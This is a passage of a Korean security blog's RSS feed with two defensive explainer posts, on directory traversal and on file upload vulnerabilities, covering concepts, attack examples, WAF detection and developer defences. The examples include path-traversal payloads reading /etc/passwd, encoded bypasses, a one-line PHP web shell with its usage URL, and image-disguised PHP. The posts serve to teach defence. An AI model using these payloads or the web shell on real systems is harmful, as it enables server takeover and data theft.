&lt;p data-end=&quot;2058&quot; data-start=&quot;1951&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;RCE = 원격에서 서버 명령을 실행할 수 있게 되는 치명적 취약점으로, 공격자가 서버를 완전히 장악할 수 있으므로 입력 검증&amp;middot;권한 최소화&amp;middot;WAF 패턴 차단으로 필수적으로 막아야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <category>rce</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/343</guid>
      <comments>https://toastfactory.tistory.com/343#entry343comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:18:02 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Directory Traversal 이란?</title>
      <link>https://toastfactory.tistory.com/342</link>
      <description>&lt;p data-end=&quot;112&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Directory Traversal(경로 조작 공격)**을 실무 관점에서 정리할게.&lt;br /&gt;이번에도 &lt;b&gt;원리 &amp;rarr; 공격 예시 &amp;rarr; 공격 목표 &amp;rarr; 방어 방법/WAF 대응&lt;/b&gt;까지 포함했어.&lt;/p&gt;
&lt;hr data-end=&quot;117&quot; data-start=&quot;114&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;153&quot; data-start=&quot;119&quot;&gt;  &lt;b&gt;1. Directory Traversal 개념&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;257&quot; data-start=&quot;155&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Directory Traversal은 &lt;b&gt;웹 애플리케이션에서 파일 경로 입력값을 조작하여, 원래 접근이 제한된 서버 파일이나 디렉토리에 접근하는 공격&lt;/b&gt;을 말해.&lt;/p&gt;
&lt;p data-end=&quot;268&quot; data-start=&quot;259&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;354&quot; data-start=&quot;269&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;310&quot; data-start=&quot;269&quot;&gt;공격자가 ../ 같은 경로 조작으로 &lt;b&gt;상위 디렉토리&lt;/b&gt;로 이동&lt;/li&gt;
&lt;li data-end=&quot;354&quot; data-start=&quot;311&quot;&gt;서버 내부 중요한 파일(설정, 비밀번호, 로그 등)을 읽거나 다운로드 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;359&quot; data-start=&quot;356&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;378&quot; data-start=&quot;361&quot;&gt;  &lt;b&gt;2. 공격 원리&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[사용자 입력: 파일 경로]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[서버 파일 접근]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[검증 미비]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[상위/민감 파일 접근]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;449&quot; data-start=&quot;444&quot; data-ke-size=&quot;size16&quot;&gt;예시:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;GET /download?file=report.pdf HTTP/1.1 &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;507&quot; data-start=&quot;502&quot; data-ke-size=&quot;size16&quot;&gt;공격자가:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;GET /download?file=../../../../etc/passwd HTTP/1.1 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;613&quot; data-start=&quot;568&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;613&quot; data-start=&quot;568&quot;&gt;서버가 입력값 검증 없이 처리하면 /etc/passwd 파일 내용이 노출됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;618&quot; data-start=&quot;615&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;640&quot; data-start=&quot;620&quot;&gt;  &lt;b&gt;3. 실무 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;660&quot; data-start=&quot;642&quot; data-ke-size=&quot;size26&quot;&gt;1) Linux / Unix&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;../../../../etc/passwd ../../../../var/www/html/config.php &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;742&quot; data-start=&quot;729&quot; data-ke-size=&quot;size26&quot;&gt;2) Windows&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;..\..\..\Windows\System32\drivers\etc\hosts ..\..\..\inetpub\wwwroot\web.config &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;848&quot; data-start=&quot;832&quot; data-ke-size=&quot;size26&quot;&gt;3) URL 인코딩 우회&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;..%2f..%2f..%&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;span&gt;fetc%2fpasswd &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;889&quot; data-start=&quot;886&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;908&quot; data-start=&quot;891&quot;&gt;  &lt;b&gt;4. 공격 목표&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1043&quot; data-start=&quot;910&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;950&quot; data-start=&quot;910&quot;&gt;서버 민감 정보 획득: /etc/passwd, DB 설정 파일&lt;/li&gt;
&lt;li data-end=&quot;1000&quot; data-start=&quot;951&quot;&gt;웹 애플리케이션 설정 파일 탈취: config.php, web.config&lt;/li&gt;
&lt;li data-end=&quot;1028&quot; data-start=&quot;1001&quot;&gt;소스 코드 유출 &amp;rarr; 추가 취약점 공격 발판&lt;/li&gt;
&lt;li data-end=&quot;1043&quot; data-start=&quot;1029&quot;&gt;로그, 인증 정보 탈취&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1048&quot; data-start=&quot;1045&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1075&quot; data-start=&quot;1050&quot;&gt;  &lt;b&gt;5. WAF / 보안관제 대응&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1092&quot; data-start=&quot;1077&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1092&quot; data-start=&quot;1077&quot;&gt;&lt;b&gt;경로 패턴 탐지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1161&quot; data-start=&quot;1093&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1142&quot; data-start=&quot;1093&quot;&gt;../, ..\\, %2e%2e%2f, %252e%252e%252f&lt;/li&gt;
&lt;li data-end=&quot;1161&quot; data-start=&quot;1143&quot;&gt;URL 인코딩 디코딩 후 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1178&quot; data-start=&quot;1163&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1178&quot; data-start=&quot;1163&quot;&gt;&lt;b&gt;허용 경로 제한&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1229&quot; data-start=&quot;1179&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1211&quot; data-start=&quot;1179&quot;&gt;서버 파일 접근 시 &lt;b&gt;화이트리스트 경로만 허용&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1229&quot; data-start=&quot;1212&quot;&gt;상대경로/상위경로 사용 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1246&quot; data-start=&quot;1231&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1246&quot; data-start=&quot;1231&quot;&gt;&lt;b&gt;이상 행위 탐지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1288&quot; data-start=&quot;1247&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1270&quot; data-start=&quot;1247&quot;&gt;반복적으로 상위 디렉토리 접근 시도&lt;/li&gt;
&lt;li data-end=&quot;1288&quot; data-start=&quot;1271&quot;&gt;공격 IP 차단, 알람 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1302&quot; data-start=&quot;1290&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1302&quot; data-start=&quot;1290&quot;&gt;&lt;b&gt;권한 제한&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1346&quot; data-start=&quot;1303&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1331&quot; data-start=&quot;1303&quot;&gt;웹서버 계정으로 접근 가능한 디렉토리 최소화&lt;/li&gt;
&lt;li data-end=&quot;1346&quot; data-start=&quot;1332&quot;&gt;민감 파일은 접근 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1351&quot; data-start=&quot;1348&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1373&quot; data-start=&quot;1353&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1486&quot; data-start=&quot;1375&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1404&quot; data-start=&quot;1375&quot;&gt;입력값 검증: .. 또는 / 사용 제한&lt;/li&gt;
&lt;li data-end=&quot;1424&quot; data-start=&quot;1405&quot;&gt;정규식/화이트리스트 경로만 허용&lt;/li&gt;
&lt;li data-end=&quot;1459&quot; data-start=&quot;1425&quot;&gt;realpath() 등 함수로 실제 경로 확인 후 접근&lt;/li&gt;
&lt;li data-end=&quot;1486&quot; data-start=&quot;1460&quot;&gt;민감 파일 디렉토리는 웹 서버 밖에 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;// PHP 예시: realpath로 경로 검증&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;$baseDir&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;'/var/www/uploads/'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;&lt;span&gt;$filePath&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;realpath&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$baseDir&lt;/span&gt;&lt;/span&gt;&lt;span&gt; . &lt;/span&gt;&lt;span&gt;&lt;span&gt;$_GET&lt;/span&gt;&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&lt;span&gt;'file'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]); &lt;/span&gt;&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;strpos&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$filePath&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;$baseDir&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) !== &lt;/span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) { &lt;/span&gt;&lt;span&gt;&lt;span&gt;die&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;Invalid file path&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;); } &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1683&quot; data-start=&quot;1680&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1701&quot; data-start=&quot;1685&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1818&quot; data-start=&quot;1702&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Directory Traversal = 입력값으로 파일 경로를 조작하여 원래 접근이 제한된 서버 파일을 읽거나 다운로드하는 공격이며, 입력 검증과 화이트리스트, 경로 제한, WAF 룰로 방어 가능하다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <category>디렉토리 접근 탐지</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/342</guid>
      <comments>https://toastfactory.tistory.com/342#entry342comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:14:41 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] File Upload Vulnerability 이란?</title>
      <link>https://toastfactory.tistory.com/341</link>
      <description>&lt;p data-end=&quot;108&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;File Upload Vulnerability&lt;/b&gt;를 실무 관점에서 정리할게.&lt;br /&gt;이번에도 &lt;b&gt;원리 &amp;rarr; 공격 예시 &amp;rarr; 공격 목표 &amp;rarr; 방어 방법/WAF 대응&lt;/b&gt;까지 포함했어.&lt;/p&gt;
&lt;hr data-end=&quot;113&quot; data-start=&quot;110&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;155&quot; data-start=&quot;115&quot;&gt;  &lt;b&gt;1. File Upload Vulnerability 개념&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;275&quot; data-start=&quot;157&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;File Upload Vulnerability는 &lt;b&gt;웹 애플리케이션에서 사용자가 파일을 업로드할 수 있는 기능을 악용하여, 서버에 악성 파일(웹쉘 등)을 업로드하고 실행하는 공격&lt;/b&gt;을 말해.&lt;/p&gt;
&lt;p data-end=&quot;286&quot; data-start=&quot;277&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;372&quot; data-start=&quot;287&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;343&quot; data-start=&quot;287&quot;&gt;사용자가 업로드할 수 있다고 허용된 파일을 공격자가 &lt;b&gt;서버에서 임의 실행 가능하도록 조작&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;372&quot; data-start=&quot;344&quot;&gt;서버 장악, 정보 탈취, 악성코드 배포 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;377&quot; data-start=&quot;374&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;396&quot; data-start=&quot;379&quot;&gt;  &lt;b&gt;2. 공격 원리&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[웹 업로드 기능]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[서버에 파일 저장]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[웹에서 실행 가능]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;535&quot; data-start=&quot;446&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;475&quot; data-start=&quot;446&quot;&gt;웹 애플리케이션이 파일 확장자&amp;middot;내용 검증 미비&lt;/li&gt;
&lt;li data-end=&quot;504&quot; data-start=&quot;476&quot;&gt;업로드 후 서버 접근 경로를 통해 실행 가능&lt;/li&gt;
&lt;li data-end=&quot;535&quot; data-start=&quot;505&quot;&gt;PHP, JSP, ASP 등의 웹쉘 업로드가 대표적&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;540&quot; data-start=&quot;537&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;562&quot; data-start=&quot;542&quot;&gt;  &lt;b&gt;3. 실무 공격 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;576&quot; data-start=&quot;564&quot; data-ke-size=&quot;size26&quot;&gt;1) 웹쉘 업로드&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;?php&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;system&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;$_GET&lt;/span&gt;&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;&lt;span&gt;'cmd'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]); &lt;/span&gt;&lt;span&gt;&lt;span&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;655&quot; data-start=&quot;619&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;639&quot; data-start=&quot;619&quot;&gt;파일명: shell.php&lt;/li&gt;
&lt;li data-end=&quot;655&quot; data-start=&quot;640&quot;&gt;공격자 브라우저에서:&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;http://example.com/uploads/shell.php?cmd=&quot;&gt;http://example.com/uploads/shell.php?cmd=&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;721&quot; data-start=&quot;709&quot; data-ke-size=&quot;size26&quot;&gt;2) 확장자 우회&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;775&quot; data-start=&quot;722&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;759&quot; data-start=&quot;722&quot;&gt;.php.jpg, .php;.jpg, .phtml&lt;/li&gt;
&lt;li data-end=&quot;775&quot; data-start=&quot;760&quot;&gt;MIME 타입 검증 회피&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;792&quot; data-start=&quot;777&quot; data-ke-size=&quot;size26&quot;&gt;3) 이미지 파일 변조&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;863&quot; data-start=&quot;793&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;838&quot; data-start=&quot;793&quot;&gt;정상 이미지에 PHP 코드를 삽입 (GIF89a&amp;lt;?php ... ?&amp;gt;)&lt;/li&gt;
&lt;li data-end=&quot;863&quot; data-start=&quot;839&quot;&gt;서버에서 이미지 처리 시 코드 실행 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;868&quot; data-start=&quot;865&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;887&quot; data-start=&quot;870&quot;&gt;  &lt;b&gt;4. 공격 목표&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;952&quot; data-start=&quot;889&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;906&quot; data-start=&quot;889&quot;&gt;서버 원격 제어(RCE)&lt;/li&gt;
&lt;li data-end=&quot;919&quot; data-start=&quot;907&quot;&gt;민감 정보 탈취&lt;/li&gt;
&lt;li data-end=&quot;936&quot; data-start=&quot;920&quot;&gt;악성코드/랜섬웨어 배포&lt;/li&gt;
&lt;li data-end=&quot;952&quot; data-start=&quot;937&quot;&gt;내부 네트워크 추가 공격&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;957&quot; data-start=&quot;954&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;984&quot; data-start=&quot;959&quot;&gt;  &lt;b&gt;5. WAF / 보안관제 대응&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1005&quot; data-start=&quot;986&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1005&quot; data-start=&quot;986&quot;&gt;&lt;b&gt;확장자/파일 타입 검사&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1035&quot; data-start=&quot;1006&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1022&quot; data-start=&quot;1006&quot;&gt;허용된 확장자만 업로드&lt;/li&gt;
&lt;li data-end=&quot;1035&quot; data-start=&quot;1023&quot;&gt;MIME 타입 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1052&quot; data-start=&quot;1037&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1052&quot; data-start=&quot;1037&quot;&gt;&lt;b&gt;파일 내용 검사&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1088&quot; data-start=&quot;1053&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1072&quot; data-start=&quot;1053&quot;&gt;Magic Number 검사&lt;/li&gt;
&lt;li data-end=&quot;1088&quot; data-start=&quot;1073&quot;&gt;스크립트 코드 삽입 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1106&quot; data-start=&quot;1090&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1106&quot; data-start=&quot;1090&quot;&gt;&lt;b&gt;업로드 경로 제한&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1154&quot; data-start=&quot;1107&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1132&quot; data-start=&quot;1107&quot;&gt;웹에서 직접 실행 불가한 디렉토리 사용&lt;/li&gt;
&lt;li data-end=&quot;1154&quot; data-start=&quot;1133&quot;&gt;서버 실행 권한 없는 디렉토리 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1171&quot; data-start=&quot;1156&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1171&quot; data-start=&quot;1156&quot;&gt;&lt;b&gt;이상 행위 탐지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1214&quot; data-start=&quot;1172&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1200&quot; data-start=&quot;1172&quot;&gt;/uploads/*.php 접근 시 경고&lt;/li&gt;
&lt;li data-end=&quot;1214&quot; data-start=&quot;1201&quot;&gt;반복 공격 IP 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1237&quot; data-start=&quot;1216&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1237&quot; data-start=&quot;1216&quot;&gt;&lt;b&gt;실시간 격리 / 백신 스캔&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1267&quot; data-start=&quot;1238&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1254&quot; data-start=&quot;1238&quot;&gt;업로드 파일 자동 검사&lt;/li&gt;
&lt;li data-end=&quot;1267&quot; data-start=&quot;1255&quot;&gt;악성코드/웹쉘 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1272&quot; data-start=&quot;1269&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1294&quot; data-start=&quot;1274&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1502&quot; data-start=&quot;1296&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1343&quot; data-start=&quot;1296&quot;&gt;&lt;b&gt;확장자 Whitelist&lt;/b&gt;: .jpg, .png, .pdf 등&lt;/li&gt;
&lt;li data-end=&quot;1381&quot; data-start=&quot;1344&quot;&gt;&lt;b&gt;파일 이름 변경&lt;/b&gt;: 원본 이름 대신 랜덤 문자열로 저장&lt;/li&gt;
&lt;li data-end=&quot;1418&quot; data-start=&quot;1382&quot;&gt;&lt;b&gt;업로드 경로 제한&lt;/b&gt;: 실행 불가, 읽기 전용 디렉토리&lt;/li&gt;
&lt;li data-end=&quot;1459&quot; data-start=&quot;1419&quot;&gt;&lt;b&gt;파일 내용 검증&lt;/b&gt;: Magic Number + MIME 타입&lt;/li&gt;
&lt;li data-end=&quot;1502&quot; data-start=&quot;1460&quot;&gt;&lt;b&gt;웹쉘 탐지 룰 적용&lt;/b&gt;: PHP, JSP, ASP 코드 패턴 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;// PHP 예시: 실행 불가 디렉토리에 저장&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;$targetDir&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;'/var/www/uploads/'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;&lt;span&gt;$targetFile&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&lt;span&gt;$targetDir&lt;/span&gt;&lt;/span&gt;&lt;span&gt; . &lt;/span&gt;&lt;span&gt;&lt;span&gt;bin2hex&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;random_bytes&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;8&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)) . &lt;/span&gt;&lt;span&gt;&lt;span&gt;'.'&lt;/span&gt;&lt;/span&gt;&lt;span&gt; . &lt;/span&gt;&lt;span&gt;&lt;span&gt;$ext&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; 